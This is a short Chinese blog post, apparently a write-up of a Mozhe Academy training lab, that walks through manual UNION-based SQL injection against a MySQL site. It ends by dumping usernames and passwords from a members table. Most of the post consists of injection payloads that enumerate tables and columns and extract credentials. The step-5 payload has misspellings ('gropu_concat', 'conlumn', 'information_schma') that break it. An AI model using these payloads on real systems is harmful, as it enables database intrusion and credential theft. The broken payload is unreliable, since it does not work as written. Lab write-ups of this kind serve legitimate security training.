墨者学院--SQL手工注入漏洞测试(MySQL数据库)

题目地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

一、第一步就是要找注入口

主要的方法就是 先口的注入先试试,试完之后如果没有注入口,那么就查看源代码,然后利用源代码去找href的标签

二、确定注入的类型

字符型 OR 数字型 鉴别的方法在我的收藏sql注入的文章有
确定了本文的注入为数字型

三、正式注入

1、先确定字段的数量

union select 1,2,3,4 判断字段数量为4
在这里插入图片描述(超4报错)

2、看4个字段中那个字段会回显

这时要用-1进行注入-1 union select 1,2,3,4

3、可以查看 database()、version()

不过似乎没什么用

4、直接开始查看表名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

在这里插入图片描述

5、查看段名(爆表内字段)

-1 union select 1,gropu_concat(conlumn),2,3 from information_schma.columns where table_name = '这里面填的表的名字
在这里插入图片描述

6、直接爆完

-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

拿到账号密码

发布了8 篇原创文章 · 获赞 0 · 访问量 53

猜你喜欢

转载自blog.csdn.net/weixin_38131137/article/details/104600307